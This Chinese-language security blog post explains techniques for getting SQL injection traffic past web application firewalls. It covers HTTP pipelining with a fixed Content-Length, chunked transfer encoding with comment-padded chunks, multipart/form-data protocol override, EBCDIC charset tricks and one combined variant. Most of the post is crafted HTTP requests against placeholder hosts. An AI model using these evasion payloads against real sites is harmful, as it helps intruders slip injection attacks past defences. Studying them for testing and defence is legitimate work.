IceSeclude

WAF bypass

pipline

phpline绕过利用了HTTP的管道化技术,HTTP遵循请求模型,发起A请求,回复A请求的响应,WAF也如此,利用这个原理使用管道化连接可以在发起请求的同时发送多个HTTP请求。
这种方法绕过WAF的原因是WAF拦截到数据包检测Content-length,超出长度部分作为没用的数据放行了从而达到绕过。

1、在BP中去掉勾选“ Content-Length更新 ”
2、将数据包中 Connection 从 close 修改为持久连接的状态,即 keep-alive
3、保持Content-Length的值不变,将数据包复制到原数据包内容后面的位置,测试过程只需要带一个cookie。

example

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Length:4
Connection:keep-alive

id=1POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
.................
Content-Length:4
Connection:keep-alive

id=1

分块传输

分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许数据分为多个部分,仅在HTTP/1.1中提供。
长度值为十六进制,也可以通过在长度值后面加上分号做注释,来提高绕过WAF的概率

需要在请求头添加 “Transfer-Encoding=chunked” 才支持分块传输
原始	Payload
id=1 and 1=1
分块传输 Payload
3;注释内容
id=
1;注释内容
1
3;注释内容
 an
1;xxxx
d
4;xxxx
 1=1
0;xxxx

协议覆盖

HTTP协议覆盖绕过,也叫边界传输绕过,是通过一种http传文件的协议,同时也可以传数据。
绕过waf原理是waf没有考虑到这种协议可以传数据直接当做文件放行了

HTTP协议覆盖绕过是通过更换Content-Type的类型来绕过WAF的检测。
以下是四种常见的Content-Type

text/html
application/json
application/x-www-form-urlencoded
multipart/form-data

WAF对multipart/form-data协议的检测比较少,或者把他当作文件上传来检查,可利用这个特性对WAF进行绕过。
其中boundary后面的test不固定,它的作用代表分隔符,--test开始,--test--结束。
正常POST请求方式是“id=123”,但在 "multipart/form-data" 协议内发送id=123,需要 “form-data:name="id”,然后空一行输入123。

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89

--test
Content-Disposition:form-data;name="id"

123
--test--

当然,也可以通过加密来进一步增加绕过WAF的概率。
通过在Content-Type类型后面加入 "charset=ibm500","charset=ibm037" 编码

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89

--test
Content-Disposition:form-data;name="id"

123
--test--

两个参数可用两次分隔符来传输

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89

--test
Content-Disposition:form-data;name="id"

123
--test
Content-Disposition:form-data;name="submit"

提交
--test--

组合

协议覆盖+分块传输

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89

1;fankfandlnvlanslfnaldnf
-
1;adjanknvkzxnvlur
-
1;hakdnlanslciaosff
t
3;jaddlnlxiocjoana
est


分类:

技术点:

相关文章: